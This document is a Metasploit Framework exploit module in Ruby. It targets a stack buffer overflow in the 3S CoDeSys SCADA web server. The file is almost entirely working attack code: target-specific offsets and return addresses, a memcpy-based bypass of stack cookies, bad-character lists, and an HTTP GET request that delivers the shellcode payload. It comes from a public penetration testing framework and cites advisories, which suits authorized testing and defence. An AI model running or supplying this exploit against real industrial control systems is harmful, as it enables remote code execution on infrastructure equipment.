metasploit-framework/modules/exploits/windows/scada/codesys_web_server.rb

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'SCADA 3S CoDeSys CmpWebServer <= v3.4 SP4 Patch 2 Stack Buffer Overflow',
'Description' => %q{
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This module exploits a remote stack buffer overflow vulnerability in
3S-Smart Software Solutions product CoDeSys Scada Web Server Version 1.1.9.9.
},
'License' => MSF_LICENSE,
'Author' =>
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[
'Luigi Auriemma', # Original discovery and poc
'Celil UNUVER',
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'TecR0c <roccogiovannicalvi[at]gmail.com>', # Module Metasploit
'sinn3r',
'Michael Coppola'
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],
'References' =>
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[
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[ 'OSVDB', '77387'],
[ 'URL', 'http://aluigi.altervista.org/adv/codesys_1-adv.txt' ],
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[ 'URL', 'http://www.exploit-db.com/exploits/18187/' ],
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[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-336-01A.pdf' ],
# The following clearifies why two people are credited for the discovery
[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-12-006-01.pdf']
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],
'DefaultOptions' =>
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{
'EXITFUNC' => 'process',
'DisablePayloadHandler' => 'false',
},
'Platform' => 'win',
'Payload' =>
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{
'size' => 650,
'BadChars' => "\x00\x09\x0a\x3f\x20\x23\x5e\x25\x3a\x5c",
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},
'Targets' =>
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[
[
'CoDeSys v2.3 on Windows XP SP3',
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{
'Ret' => 0x7E4456F7, # jmp esp user32
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'Offset' => 775
}
],
[
'CoDeSys v3.4 SP4 Patch 2 on Windows XP SP3',
{
# Abuse a memcpy() call to circumvent stack cookies
'Offset' => 525,
'Ret' => 0x02CDFD68,
'Src' => 0x02CDFD58,
'Dest' => 0x02CDFA14
}
],
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],
'Privileged' => false,
'DisclosureDate' => 'Dec 02 2011'
))
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register_options([Opt::RPORT(8080)], self.class)
end
def check
connect
sock.put("GET / HTTP/1.1\r\n\r\n")
res = sock.get(-1, 3)
disconnect
# Can't flag the web server as vulnerable, because it doesn't
# give us a version
vprint_line(res)
if res =~ /3S_WebServer/
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end
def exploit
connect
if target.name =~ /v2\.3/
buffer = rand_text(target['Offset'])
buffer << [target.ret].pack('V')
buffer << make_nops(8)
buffer << payload.encoded
else
# CoDeSys v3.4 SP4 Patch 2 on Windows XP SP3
buffer = rand_text_alphanumeric(target['Offset'])
buffer << [target.ret].pack('V')
buffer << [target['Src']].pack('V')
buffer << [target['Dest']].pack('V')
buffer << [0x7FFFFFFF].pack('V') # Satisfy signed comparison
buffer << make_nops(8)
buffer << payload.encoded
buffer << "\\a"
end
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sploit = "GET /#{buffer} HTTP/1.0\r\n\r\n\r\n"
print_status("Trying target #{target.name}...")
sock.put(sploit)
res = sock.get_once
print_line(res) unless res.nil?
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handler
disconnect
end
end
=begin
target.ret verified on:
- Win XP SP3 unpatched
- Win XP SP3 fully-patched
- Win XP SP3 fully-patched with Office 2007 Ultimate SP2 installed
=end